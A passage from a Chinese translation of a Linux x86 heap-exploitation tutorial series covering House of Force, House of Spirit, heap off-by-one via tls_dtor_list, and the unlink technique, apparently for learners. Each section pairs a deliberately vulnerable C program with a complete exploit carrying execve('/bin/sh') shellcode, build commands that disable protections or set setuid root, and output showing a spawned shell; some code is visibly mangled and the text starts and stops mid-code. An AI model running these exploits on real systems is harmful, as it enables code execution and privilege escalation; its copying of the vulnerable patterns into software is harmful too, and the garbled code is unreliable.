if (argc != 4) {
printf("Usage Error\n");
return;
}
[1]buf1 = malloc(256);
[2]strcpy(buf1, argv[1]); /* Prereq 1 */
[3]buf2 = malloc(strtoul(argv[2], NULL, 16)); /* Prereq 2 */
[4]buf3 = malloc(256); /* Prereq 3 */
[5]strcpy(buf3, argv[3]); /* Prereq 3 */
[6]free(buf3);
free(buf2);
free(buf1);
return 0;
}

漏洞程序的堆内存如下所示:




漏洞程序的第[2]行就是堆溢出发生的地方。为了能成功利用堆溢出,攻击者要提供下面的命令行参数:

  • argv[1] - Shellcode + Pad + Top chunk size被拷贝到第一个malloc chunk
  • argv[2]- 传递给第一个malloc chunk的size参数
  • argv[3]- 用户输入被拷贝到第三个malloc chunk

漏洞利用程序

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
/* Program to exploit executable 'vuln' using hof technique.
*/
#include <stdio.h>
#include <unistd.h>
#include <string.h>
#define VULNERABLE "./vuln"
#define FREE_ADDRESS 0x08049858-0x8
#define MALLOC_SIZE "0xFFFFF744"
#define BUF3_USER_INP "\x08\xa0\x04\x08"
/* Spawn a shell. Size - 25 bytes. */
char scode[] =
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";
int main( void )
{
int i;
char * p;
char argv1[ 265 ];
char * argv[] = { VULNERABLE, argv1, MALLOC_SIZE, BUF3_USER_INP, NULL };
strcpy(argv1,scode);
for(i=25;i<260;i++)
argv1[i] = 'A';
strcpy(argv1+260,"\xFF\xFF\xFF\xFF"); /* Top chunk size */
argv[264] = ''; /* Terminating NULL character */
/* Execution of the vulnerable program */
execve( argv[0], argv, NULL );
return( -1 );
}
`

一旦攻击者的命令行参数被拷贝到堆中,漏洞程序的堆内存变为下图所示:




有了攻击者这些参数,就会发生下面的事情:

第[2]行覆盖top chunk的size域:

- 攻击者参数(argv[1] – Shellcode + Pad + 0xFFFFFFFF)拷贝到堆缓冲区'buf1'。 由于argv[1]大于256,top chunk的size域被“0xFFFFFFFF"覆盖

第[3]行通过top chunk代码分配一个非常大的内存块

  • 请求一个大内存块的目的是在分配后top chunk必须位于free的GOT表项的前8个字节。因此,只要再多一个内存分配请求而(第[4]行)就可以帮助我们覆盖free的GOT表项了。
  • 攻击者参数(argv[2] – 0xFFFFF744)作为参数传递给第二个malloc调用(第[3]行)。size参数可以用下面的方式来计算
    • size = ((free-8)-top)
    • 在这里
      • free指的是可执行文件’vuln’中free的GOT表项,ie)free = 0x08049858
      • top指的是当前top chunk(在第一次malloc之后,第[1]行) ie)top = 0x0804a108.
      • 因此size = ((0x8049858-0x8)-0x804a108) = -8B8 = 0xFFFFF748
      • 当size = 0xFFFFF748时,我们的目标是将新的tip chunk 的8个字节放到free的GOT表项前面,可以通过这样做到
        + (0xFFFFF748+0x804a108) = 0x08049850 = (0x08049858-0x8)
        
      • 当攻击者传递size参数(0xFFFFF748)时,’glibc malloc’将size 转化为 可用的size(usable size)0xfffff750。因此新的top chunk size将会位于0x8049858而不是0x8049850. 攻击者将传递0xFFFFF744(而不是0xFFFFF748)作为size参数,得到转化后的参数是‘0xFFFFF748’,这正是我们需要的。

在第[4]行:

  • 由于第三行中的top chunk指向0x8049850,一个256字节的新的内存分配请求会让’glibc malloc’返回0x8049858 ,其会被拷贝到buf3中

在第[5]行:

  • 将buf1的地址拷贝到buf3中,导致GOT覆盖。因此对free的调用(第[6]行)就会导致shellcode的执行。

用攻击者的命令行参数再执行上述漏洞程序就会导致shellcode执行,如下所示:

1
2
3
4
5
6
7
sploitfun@sploitfun-VirtualBox:~/lsploits/hof/hof$ gcc -g -z norelro -z execstack -o vuln vuln.c -Wl,--rpath=/home/sploitfun/glibc/glibc-inst2.20/lib -Wl,--dynamic-linker=/home/sploitfun/glibc/glibc-inst2.20/lib/ld-linux.so.2
sploitfun@sploitfun-VirtualBox:~/lsploits/hof/hof$ gcc -g -o exp exp.c
sploitfun@sploitfun-VirtualBox:~/lsploits/hof/hof$ ./exp
$ ls
cmd exp exp.c vuln vuln.c
$ exit
sploitfun@sploitfun-VirtualBox:~/lsploits/hof/hof$

保护: 至今为止,还没有针对这项技术的保护措施。所以就算用最新的glibc编译,这项技术也可以帮助我们成功利用堆溢出。

0X03 House of Spirit

通过这项技术,攻击者欺骗’glibc malloc’返回一个在栈(不是堆)中的chunk。这就允许攻击者覆盖存储在栈中的返回地址。

假设条件: 由于不是所有的堆溢出漏洞程序都能被house of spirit技术成功利用,以下是成功利用的假设条件

  • 缓冲区溢出覆盖一个变量,变量中含有’glibc malloc’返回的chunk地址
  • 上述的chunk必须要被释放。攻击者必须控制被释放chunk的size。将chunk的size等于下一个分配的chunk的size。
  • 分配一个chunk
  • 用户输入必须拷贝到上述分配的chunk中

漏洞程序: 漏洞程序满足上述假设条件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
/* vuln.c
House of Spirit vulnerable program
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
void fvuln(char *str1, int age)
{
char *ptr1, name[44];
int local_age;
char *ptr2;
[1]local_age = age; /* Prereq 2 */
[2]ptr1 = (char *) malloc(256);
printf("\nPTR1 = [ %p ]", ptr1);
[3]strcpy(name, str1); /* Prereq 1 */
printf("\nPTR1 = [ %p ]\n", ptr1);
[4]free(ptr1); /* Prereq 2 */
[5]ptr2 = (char *) malloc(40); /* Prereq 3 */
[6]snprintf(ptr2, 40-1, "%s is %d years old", name, local_age); /* Prereq 4 */
printf("\n%s\n", ptr2);
}
int main(int argc, char *argv[])
{
int i=0;
int stud_class[10]; /* Required since nextchunk size should lie in between 8 and arena's system_mem. */
for(i=0;i<10;i++)
[7]stud_class[i] = 10;
if (argc == 3)
fvuln(argv[1], 25);
return 0;
}

漏洞程序的栈布局如下所示:




程序的第[3]行是缓冲区溢出发生的地方。为了能成功利用漏洞程序,攻击者提供下面的命令行参数:

  • argv[1] = Shell Code + Stack Address + Chunk size
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
/* Program to exploit executable 'vuln' using hos technique.
*/
#include <stdio.h>
#include <unistd.h>
#include <string.h>
#define VULNERABLE "./vuln"
/* Shellcode to spwan a shell. Size: 48 bytes - Includes Return Address overwrite */
char scode[] =
"\xeb\x0e\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\xb8\xfd\xff\xbf\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80\x90\x90\x90\x90\x90\x90\x90";
int main( void )
{
int i;
char * p;
char argv1[54];
char * argv[] = { VULNERABLE, argv1, NULL };
strcpy(argv1,scode);
/* Overwrite ptr1 in vuln with stack address - 0xbffffdf0. Overwrite local_age in vuln with chunk size - 0x30 */
strcpy(argv1+48,"\xf0\xfd\xff\xbf\x30");
argv[53] = '';
/* Execution of the vulnerable program */
execve( argv[0], argv, NULL );
return( -1 );
}

攻击者提供参数后,漏洞程序的栈布局如下所示:




攻击者提供参数后,我们来看看返回地址是如何被覆盖的

第[3]行:缓冲区溢出

  • 这里,攻击者的输入’argv[1]’拷贝到字符缓冲区’name’中。由于攻击者的输入大于44,ptr1变量和local_age分别被栈地址和chunk size覆盖。
    • 栈地址-0xbffffdf0- 当第[5]行被执行时,攻击者欺骗’glibc malloc’返回这个地址
    • Chunk size - 0x30- 当第[4]行执行时,这个chunk size被用来欺骗’glibc malloc’ ,往下看。

第[4]行:将栈区域加入到’glibc malloc’的 fast bin

  • free()调用_int_free)_。 缓冲区溢出后,ptr1 = 0xbffffdf0(而不是0x804aa08)。被覆盖的ptr1作为参数传递非free()。这样一来,可以欺骗’glibc malloc’来释放位于栈中的内存区域。正要被释放的栈区域位于ptr1-8+4 处,而这已经被攻击者用0x30覆盖,因此’glibc malloc’把这个chunk当做fast chunk(因为48<64),然后将被释放的chunk插入到位于索引4处的fast binlist的前端。

第[5]行:获取栈区域(第[4]行中被添加)

  • 对40的分配请求被checked_request2size转化为对48的请求。由于可用大小(usable size) ‘48’属于fast chunk中,可以获取它对应的fast bin(位于索引4处)。Fast bin的第一个chunk被移除并返回为用户。第一个chunk什么都不是,但在第[4]行执行期间,栈区域被添加进去了。

第[6]行:覆盖返回地址

  • 将攻击者的’argv[1]’拷贝到栈区域(被’glibc malloc’返回),其起始地址是是0xbffffdf0. argv[1]的前16个字节是:
    • xeb\x0e - Jmp by 14字节
    • \x41\x41\x41\x41\x41\x41\x41\x41\x41\x41 – Pad
    • \xb8\xfd\xff\xbf - 存储在栈中的返回地址被此值覆盖。因此,在fvuln执行之后EIP变为0xbffffdb8- 这块区域俺有jmp指令,随后就是触发shell的shellcode!

利用攻击者的参数执行上述漏洞程序,将会执行shellcode,如下所示:

1
2
3
4
5
6
7
8
9
10
11
12
sploitfun@sploitfun-VirtualBox:~/Dropbox/sploitfun/heap_overflow/Malloc-Maleficarum/hos$ gcc -g -fno-stack-protector -z norelro -z execstack -o vuln vuln.c -Wl,--rpath=/home/sploitfun/glibc/glibc-inst2.20/lib -Wl,--dynamic-linker=/home/sploitfun/glibc/glibc-inst2.20/lib/ld-linux.so.2
sploitfun@sploitfun-VirtualBox:~/Dropbox/sploitfun/heap_overflow/Malloc-Maleficarum/hos$ gcc -g -o exp exp.c
sploitfun@sploitfun-VirtualBox:~/Dropbox/sploitfun/heap_overflow/Malloc-Maleficarum/hos$ ./exp
PTR1 = [ 0x804a008 ]
PTR1 = [ 0xbffffdf0 ]
AAAAAAAAAA����1�Ph//shh/bin��P��S�
$ ls
cmd exp exp.c print vuln vuln.c
$ exit
sploitfun@sploitfun-VirtualBox:~/Dropbox/sploitfun/heap_overflow/Malloc-Maleficarum/hos$

保护:至今为止,还没有针对这项技术的保护措施。所以就算用最新的glibc编译,这项技术也可以帮助我们成功利用堆溢出。

###House of Prime 待更新 House of Lore** 待更新

注意:出于演示目的,上述漏洞程序编译时关闭以下保护机制:

参考

The Malloc Maleficarum


转载本文请务必注明,文章出处:《Linux(X86)漏洞利用系列-Malloc Maleficarum堆溢出)》与作者信息:CSysSec出品

堆内off-by-one漏洞利用

作者: CSysSec出品


CSysSec注: 本系列文章译自安全自由工作者Sploitfun的漏洞利用系列博客,从经典栈缓冲区漏洞利用堆漏洞利用,循序渐进,是初学者不可多得的好材料,本系列所有文章涉及的源码可以在这里找到。CSysSec计划在原基础上不断添加相关漏洞利用技术以及相应的Mitigation方法,欢迎推荐或自荐文章。
转载本文请务必注明,文章出处:《Linux(X86)漏洞利用系列-Unlink堆溢出)》与作者信息:CSysSec出品


  • 0X01 什么是off-by-one漏洞
  • 0X02 如何做到任意代码执行
  • 0X03 为什么不是prev_size的最小影响字节(LSB)被覆盖
  • 0X04 覆盖tls_dtor_list
  • 0X05 为什么没能获取root shell

阅读基础:
栈内off-by-one漏洞
深入理解glibc malloc

VM Setup: Fedora 20(x86)

0X01 什么是off-by-one漏洞

这篇文中说过,当将源字符串拷贝到目的字符串时出现下述情况可能会发生off-by-one

  • 源字符串长度等于目的字符串长度

当源字符串长度等于目的字符串长度时,单个NULL字节会被拷贝到目的字符串中。这里由于目的字符串处于堆中,单个NULL字节可以覆盖下一个chunk的头部信息,从而导致任意代码执行。

扼要重述:在这篇文中说过,堆根据每个用户对堆内存的请求,被分为多个chunk.每个chunk有自己的chunk头部信息(由malloc_chunk表示)。 结构体malloc_chunk含有以下四个域:

  • 1.prev_size - 若前一个chunk空闲,则prev_size域包含前一个chunk的大小信息;若前一个chunk已经被分配,则这个域包含前一个chunk的用户数据
  • 2.size: size域含有这个已经分配的chunk。域的后3比特含有flag信息。
  • 3.fd- 指向同一个bin中的下一个chunk
  • 4.bk- 指向同一个bin中的前一个chunk

漏洞代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
//consolidate_forward.c
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#define SIZE 16
int main(int argc, char* argv[])
{
int fd = open("./inp_file", O_RDONLY); /* [1] */
if(fd == -1) {
printf("File open error\n");
fflush(stdout);
exit(-1);
}
if(strlen(argv[1])>1020) { /* [2] */
printf("Buffer Overflow Attempt. Exiting...\n");
exit(-2);
}
char* tmp = malloc(20-4); /* [3] */
char* p = malloc(1024-4); /* [4] */
char* p2 = malloc(1024-4); /* [5] */
char* p3 = malloc(1024-4); /* [6] */
read(fd,tmp,SIZE); /* [7] */
strcpy(p2,argv[1]); /* [8] */
free(p); /* [9] */
}

编译命令:

1
2
3
4
5
#echo 0 > /proc/sys/kernel/randomize_va_space
$gcc -o consolidate_forward consolidate_forward.c
$sudo chown root consolidate_forward
$sudo chgrp root consolidate_forward
$sudo chmod +s consolidate_forward

注意: 为了更好演示,已经关闭ASLR。如果你也想绕过ASLR,可以利用这篇文章提到的信息泄露漏洞或暴力破解技术

注:本系列所有文章中第[N]行代码指的的代码中显示/*[N]*/的位置。

上述漏洞程序的第[2]和[8]行就是堆中off-by-one溢出可能发生的地方。目的缓冲区的长度是1020,因此源缓冲区长度也是1020的话就会导致任意代码执行。

0X02 如何做到任意代码执行

当单NULL字节覆盖下一个chunk(‘p3’)的chunk头部信息时就会发生任意代码执行。当1020字节的chunk(‘p2’)被单字节溢出时,是下一个chunk(‘p3’)头部大小的最小影响字节(Least Significant Byte)-(而不是prev_size的最小影响字节)被NULL字节覆盖。

0X03 为什么不是prev_size的最小影响字节(LSB)被覆盖

由于需要额外的空间来存储malloc_chunk以及为了对其的目的,checked_request2size将用户需求的大小转化为可用的大小(内部表示字节大小-internal representation size)。当可用大小的最后3个比特都没有被设置时会发生这种转化,这3个比特用来存储flag信息 P,M与N。

上漏洞代码执行到malloc(1020)时,1020字节的用户需求大小被转化为((1020 + 4 + 7) & ~7) 1024字节(内部表示字节大小)。分配1020字节的chunk开销只要4字节。但对于一个分配的chunk我们却需要8字节的chunk头部信息用来存储prev_size和size信息。1024字节的chunk前8个字节用作chunk头部信息,但现在只剩下1016(1024-8)字节(而不是1020字节)用来存储用户数据。如上面说的prev_size的定义,如果前一个chunk(‘p2’)被分配,chunk(‘p3’)的prev_size域含有用户数据。chunk(‘p3’)的prev_size紧邻已经分配的chunk(‘p2’),其含有用户数据剩下的4字节。这就是为什么size(而不是pre_size)的LSB被但NULL字节覆盖的原因了。

堆布局:




注意: 上图中的攻击者数据指的是下文中提到的”覆盖 tls_dtor_list”

现在回到我们一开始的问题

如何做到任意代码执行

现在我们已经知道在off-by-one漏洞中,单NULL字节覆盖下一个chunk(‘p3’) size域的LSB。单NULL字节覆盖意味着chunk(‘p3’)的flag信息被清除了。 被覆盖的chunk(‘p2’)尽管处于已经被分配的状态,现在却变得空闲了。当在溢出的chunk (‘p2)前的(‘p’)被释放时,这种状态不一致性驱使glibc去unlink 已经处于分配状态的chunk(‘p2’)

这篇文章中,由于任何四字节的内存区域都能被写上攻击者的数据,unlink一个已经在分配状态的chunk会导致任意代码执行
!! 在同一篇文中,我们也知道由于glibc近些年的被强化,unlink技术已经过时了! 尤其是当“损坏的双链表”这个条件成立时,任意代码执行是不可能的。

在2014年后期, google’s project zero team发现一种通过unlink一个大的chunk(large chunk)的方法,可以成功绕过”损坏的双链表”条件。

Unlink:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#define unlink(P, BK, FD) {
FD = P->fd;
BK = P->bk;
// Primary circular double linked list hardening - Run time check
if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) /* [1] */
malloc_printerr (check_action, "corrupted double-linked list", P);
else {
// If we have bypassed primary circular double linked list hardening, below two lines helps us to overwrite any 4 byte memory region with arbitrary data!!
FD->bk = BK; /* [2] */
BK->fd = FD; /* [3] */
if (!in_smallbin_range (P->size)
&& __builtin_expect (P->fd_nextsize != NULL, 0)) {
// Secondary circular double linked list hardening - Debug assert
assert (P->fd_nextsize->bk_nextsize == P); /* [4] */
assert (P->bk_nextsize->fd_nextsize == P); /* [5] */
if (FD->fd_nextsize == NULL) {
if (P->fd_nextsize == P)
FD->fd_nextsize = FD->bk_nextsize = FD;
else {
FD->fd_nextsize = P->fd_nextsize;
FD->bk_nextsize = P->bk_nextsize;
P->fd_nextsize->bk_nextsize = FD;
P->bk_nextsize->fd_nextsize = FD;
}
} else {
// If we have bypassed secondary circular double linked list hardening, below two lines helps us to overwrite any 4 byte memory region with arbitrary data!!
P->fd_nextsize->bk_nextsize = P->bk_nextsize; /* [6] */
P->bk_nextsize->fd_nextsize = P->fd_nextsize; /* [7] */
}
}
}
}

在glibc malloc中,主环形双链表由malloc_chunk的fs和bk域来维护,而次环形双链表由malloc_chunk的fd_nextsize和bk_nextsize域来维护。这看起来像是损坏的双链表hardening被应用到了主环形双链表(第[1]行)和次环形双链表中(第[4],[5]行),但次要环形双链表的hardening仅仅是一个debug assert语句(不像是主环形双链表hardening会在运行时进行检查),它最终并不会编译到产品中(至少在fedora是这样的)。次要环形双链表的强化(hardening)(第[4],[5]行)并没有什么意义,这可以让我们在4字节的内存区域中写任何数据(第[6],[7]行)。

任然还有一些东西要讲明白一些。我们来看看如何通过unlink一个大的chunk来做到任意代码执行的细节! 现在攻击者已经控制住即将要被释放的大chunk,他以下方式覆盖malloc_chunk中的域:

  • fd必须指回到已经被释放的chunk地址来绕过主环形双链表的hardening
  • bk也必须指回到已经被释放的chunk地址来绕过主环形双链表的hardening
  • fd_nextsize 必须指向 free_got_addr -0x14
  • bk_nextsize 必须指向system_addr

但第[6],[7]行需要fd_nextsize和bk_nextsize是可写的。fd_nextsize指向 free_got_addr -0x14,所以它是可写的。但bk_nextsize指向system_addr,这属于libc.so的text段区域,所以它是不可写的。要让fd_nextsize和bk_nextsize同时可写,需要覆盖tls_dtor_list

0X04 覆盖tls_dtor_list

tls_dtor_list是一个线程本地变量,含有一个函数指针列表,在执行exit()时会被调用。 __call_tls_dtors]()遍历tls_dtor_list并一个一个调用其中的函数!! 所以如果我们能利用一个含有system和system_arg的堆地址覆盖tls_dtor_list,来替换dtor_list中的func和obj, system()就能被调用。




现在攻击者通过以下方式覆盖即将要释放的大chunk中的malloc_chunk里面的域信息:

  • fd必须指回到已经被释放的chunk地址来绕过主环形双链表的hardening
  • bk也必须指回到已经被释放的chunk地址来绕过主环形双链表的hardening
  • fd_nextsize 必须指向 tls_dtor_list -0x14
  • bk_nextsize 必须指向含有dtor_list元素的堆地址

让fd_nextsize变成可写的问题解决了。那是因为tls_dtor_list属于libc.so的可写段,并且通过反汇编_call_tls_dtors(),可以得到tls_dtor_list的地址是0xb7fe86d4

由于bk_nextsize指向堆地址,让它变成可写的问题也解决了。

利用所有这些信息,我们可以写个漏洞利用程序来攻击’consolidate_forward’了!!

漏洞利用代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#exp_try.py
#!/usr/bin/env python
import struct
from subprocess import call
fd = 0x0804b418
bk = 0x0804b418
fd_nextsize = 0xb7fe86c0
bk_nextsize = 0x804b430
system = 0x4e0a86e0
sh = 0x80482ce
#endianess convertion
def conv(num):
return struct.pack("<I",num(fd)
buf += conv(bk)
buf += conv(fd_nextsize)
buf += conv(bk_nextsize)
buf += conv(system)
buf += conv(sh)
buf += "A" * 996
print "Calling vulnerable program"
call(["./consolidate_forward", buf])

执行上述漏洞利用代码,并不能给我们root shell。它只能提供运行在我们自己权限上的bash shell。

1
2
3
4
5
6
7
8
$ python -c 'print "A"*16' > inp_file
$ python exp_try.py
Calling vulnerable program
sh-4.2$ id
uid=1000(sploitfun) gid=1000(sploitfun) groups=1000(sploitfun),10(wheel) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
sh-4.2$ exit
exit
$

0X05 为什么没能获取root shell

当uid!=euid时,/bin/bash会丢弃权限。我们的二进制文件’consolidate _forward’的真实uid=1000,有效uid=0。 由于真实uid!=有效uid,因此当system() 被调用时,bash会丢弃权限。为了解决这个问题,我们需要在执行system()之前调用setuid(0),由于_call_tls_dtors遍历tls_dtor_list并一个一个调用其中的函数,我们需要链接setuid()和system()


转载本文请务必注明,文章出处:《Linux(X86)漏洞利用系列-Unlink堆溢出)》与作者信息:CSysSec出品

Unlink堆溢出

作者: CSysSec出品


CSysSec注: 本系列文章译自安全自由工作者Sploitfun的漏洞利用系列博客,从经典栈缓冲区漏洞利用堆漏洞利用,循序渐进,是初学者不可多得的好材料,本系列所有文章涉及的源码可以在这里找到。CSysSec计划在原基础上不断添加相关漏洞利用技术以及相应的Mitigation方法,欢迎推荐或自荐文章。
转载本文请务必注明,文章出处:《Linux(X86)漏洞利用系列-Unlink堆溢出)》与作者信息:CSysSec出品


写在最前

chunk是指具体进行内存分配的区域,目前的默认大小是4M。

阅读基础

深入理解glibc malloc

这篇文章,我们会学习到如何利用unlink技术成功利用堆缓冲区溢出。在深入了解unlink技术之前,我们先来看看一个漏洞程序:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
/*
Heap overflow vulnerable program.
*/
#include <stdlib.h>
#include <string.h>
int main( int argc, char * argv[] )
{
char * first, * second;
/*[1]*/ first = malloc( 666 );
/*[2]*/ second = malloc( 12 );
if(argc!=1)
/*[3]*/ strcpy( first, argv[1] );
/*[4]*/ free( first );
/*[5]*/ free( second );
/*[6]*/ return( 0 );
}

上面漏洞程序的第三行会导致堆缓冲区溢出。用户输入的’argv[1]’被拷贝到’first’堆缓冲区,而没有设定任何大小限制。因此,当用户的输入大于666字节时,边界就会覆盖下一个chunk的chunk头。这种溢出进而会导致任意代码执行。

下面是漏洞程序堆内存的形象图:




Unlink: 其主要思想是欺骗’glibc malloc’来达到解开(unlink) ‘second’ chunk的目的。当解开(unlinking) 时,free函数的GOT表项就会被shellcode的地址覆盖。 成功覆盖之后,在漏洞代码中第五行当free被调用时,shellcode就会被执行。还不清楚?没问题,我们先来看看当fre执行的时候’glibc malloc’都做了些什么。

如果没有攻击中的影响,第[4]行中的free会做下面这些事情:

  • 对于没有被映射的chunks来说,向后合并(consolidate banckward)或者向前合并(consolidate forward)。
  • 向后合并:
    • 查找前一个chunk是否空闲- 如果当前被释放的chunk的PREV_INUSE(P)位没有设置,则shuoming 说明前一个chunk是空闲的。在我们的例子中,由于“first”的PREV_INUSE位已经设置,说明前一个chunk已经被分配了,默认情况下,堆内存的第一个chunk前一个chunk被分配(尽管它不存在)。
    • 如果空闲,则合并 比如,从binlist上unlink(移除)前一个chunk,然后将前一个chunk的大小加到当前大小中并修改chunk指针指向前一个chunk。在我们的例子中,前一个chunk已经被分配了,因此unlink没有执行。从而当前被释放的chunk ‘first’不能被向后合并。
  • 向前合并:
    • 查找下一个chunk是否空闲- 如果下下个chunk(从当前被释放的chunk算起)的PREV_INUSE(P)位没有设置,则shuoming 说明下前一个chunk是空闲的。为了遍历到下下个chunk,将当前被释放chunk的大小加入到chunk指针,然后将下一个chunk的大小加入到下一个chunk指针。在我们的例子中,当前被释放chunk的下下个指针是top chunk,并且它的PREV_INUSE位已经设置,说明下一个chunk ‘second’不是空闲的。
    • 如果空闲,则合并 比如,从binlist上unlink(移除)前一个chunk,然后将下一个chunk的大小加到当前大小中。在我们的例子中,下一个chunk已经被分配了,因此unlink没有执行。从而当前被释放的chunk ‘first’不能被向前合并。
  • 现在,将被合并的chunk添加到未排序的bin中。在我们的例子中,合并未能成功执行,所以只要将’first’ chunk添加到未排序的bin中。

现在我们可以说攻击者在第[3]行按照以下方式覆盖了’second’ chunk的chunk头部:

  • prev_size = 偶数,因此PREV_INUSE没有被设置
  • size = -4
  • fd = free地址 -12
  • bk = shellcode地址

如果受到攻击者的影响,第[4]行中的free会做以下事情:

  • 对于没有被映射的chunks来说,向后合并(consolidate banckward)或者向前合并(consolidate forward)。
  • 向后合并:
    • 查找前一个chunk是否空闲- 如果当前被释放的chunk的PREV_INUSE(P)位没有设置,则shuoming 说明前一个chunk是空闲的。在我们的例子中,由于“first”的PREV_INUSE位已经设置,说明前一个chunk已经被分配了,默认情况下,堆内存的第一个chunk前一个chunk被分配(尽管它不存在)。
    • 如果空闲,则合并 比如,从binlist上unlink(移除)前一个chunk,然后将前一个chunk的大小加到当前大小中并修改chunk指针指向前一个chunk。在我们的例子中,前一个chunk已经被分配了,因此unlink没有执行。从而当前被释放的chunk ‘first’不能被向后合并。
  • 向前合并:
    • 查找下一个chunk是否空闲- 如果下下个chunk(从当前被释放的chunk算起)的PREV_INUSE(P)位没有设置,则说明下前一个chunk是空闲的。为了遍历到下下个chunk,将当前被释放chunk的大小加入到chunk指针,然后将下一个chunk的大小加入到下一个chunk指针。在我们的例子中,当前被释放chunk的下下个指针不是(NOT)top chunk。由于攻击者已经用-4覆盖了’second’ chunk的大小,’second’ chunk的下下个chunk应该在-4偏移处。因此,现在’glibc malloc’将’second’ chunk的prev_inuse当做下下个chunk的大小域。由于攻击者已经用一个偶数(PREV_INUSE(P)位被复位)覆盖了prev_size,这样就欺骗了’glibc malloc’ 让其相信’second’ chunk是释放的。
    • 如果空闲,则合并] 比如,从binlist上unlink(移除)前一个chunk,然后将下一个chunk的大小加到当前大小中。在我们的例子中,下一个chunk是空闲的,因此’second’ chunk将按以下方式unlink
      +  将'second' chunk的fd和bk值相应的拷贝到[FD](https://github.com/sploitfun/lsploits/blob/master/hof/unlink/malloc_unlink_snip.c#L3)与[BK](https://github.com/sploitfun/lsploits/blob/master/hof/unlink/malloc_unlink_snip.c#L4)变量。在我们例子中,FD =free地址-12, BK=shellcode地址 (作为堆溢出的一部分,攻击者将shellcode放入'first'堆缓冲区内部)。
      +  [BK的值被拷贝到FD的12偏移处](https://github.com/sploitfun/lsploits/blob/master/hof/unlink/malloc_unlink_snip.c#L5)。在我们的例子中,将12字节加入到FD中,然后指向free的GOT表项。这样一来,GOT表项就被shellcode的地址覆盖了。太棒了!现在,任何时候只要free被调用,就会执行shellcode! 因此,漏洞程序中的第五行就会导致shellcode的执行。
      
  • 现在,将被合并的chunk添加到未排序的bin中。

被攻击者修改过的用户输入,漏洞程序的堆内存的形象图如下:




理解了unlink技术之后,我们就可以写漏洞利用程序了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
/* Program to exploit 'vuln' using unlink technique.
*/
#include <string.h>
#include <unistd.h>
#define FUNCTION_POINTER ( 0x0804978c ) //Address of GOT entry for free function obtained using "objdump -R vuln".
#define CODE_ADDRESS ( 0x0804a008 + 0x10 ) //Address of variable 'first' in vuln executable.
#define VULNERABLE "./vuln"
#define DUMMY 0xdefaced
#define PREV_INUSE 0x1
char shellcode[] =
/* Jump instruction to jump past 10 bytes. ppssssffff - Of which ffff would be overwritten by unlink function
(by statement BK->fd = FD). Hence if no jump exists shell code would get corrupted by unlink function.
Therefore store the actual shellcode 12 bytes past the beginning of buffer 'first'*/
"\xeb\x0assppppffff"
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";
int main( void )
{
char * p;
char argv1[ 680 + 1 ];
char * argv[] = { VULNERABLE, argv1, NULL };
p = argv1;
/* the fd field of the first chunk */
*( (void **)p ) = (void *)( DUMMY );
p += 4;
/* the bk field of the first chunk */
*( (void **)p ) = (void *)( DUMMY );
p += 4;
/* the fd_nextsize field of the first chunk */
*( (void **)p ) = (void *)( DUMMY );
p += 4;
/* the bk_nextsize field of the first chunk */
*( (void **)p ) = (void *)( DUMMY );
p += 4;
/* Copy the shellcode */
memcpy( p, shellcode, strlen(shellcode) );
p += strlen( shellcode );
/* Padding- 16 bytes for prev_size,size,fd and bk of second chunk. 16 bytes for fd,bk,fd_nextsize,bk_nextsize
of first chunk */
memset( p, 'B', (680 - 4*4) - (4*4 + strlen(shellcode)) );
p += ( 680 - 4*4 ) - ( 4*4 + strlen(shellcode) );
/* the prev_size field of the second chunk. Just make sure its an even number ie) its prev_inuse bit is unset */
*( (size_t *)p ) = (size_t)( DUMMY & ~PREV_INUSE );
p += 4;
/* the size field of the second chunk. By setting size to -4, we trick glibc malloc to unlink second chunk.*/
*( (size_t *)p ) = (size_t)( -4 );
p += 4;
/* the fd field of the second chunk. It should point to free - 12. -12 is required since unlink function
would do + 12 (FD->bk). This helps to overwrite the GOT entry of free with the address we have overwritten in
second chunk's bk field (see below) */
*( (void **)p ) = (void *)( FUNCTION_POINTER - 12 );
p += 4;
/* the bk field of the second chunk. It should point to shell code address.*/
*( (void **)p ) = (void *)( CODE_ADDRESS );
p += 4;
/* the terminating NUL character */
*p = '';
/* the execution of the vulnerable program */
execve( argv[0], argv, NULL );
return( -1 );
}

执行上面的漏洞利用程序,可以触发一个新的shell!

1
2
3
4
5
6
7
sploitfun@sploitfun-VirtualBox:~/lsploits/hof/unlink$ gcc -g -z norelro -z execstack -o vuln vuln.c -Wl,--rpath=/home/sploitfun/glibc/glibc-inst2.20/lib -Wl,--dynamic-linker=/home/sploitfun/glibc/glibc-inst2.20/lib/ld-linux.so.2
sploitfun@sploitfun-VirtualBox:~/lsploits/hof/unlink$ gcc -g -o exp exp.c
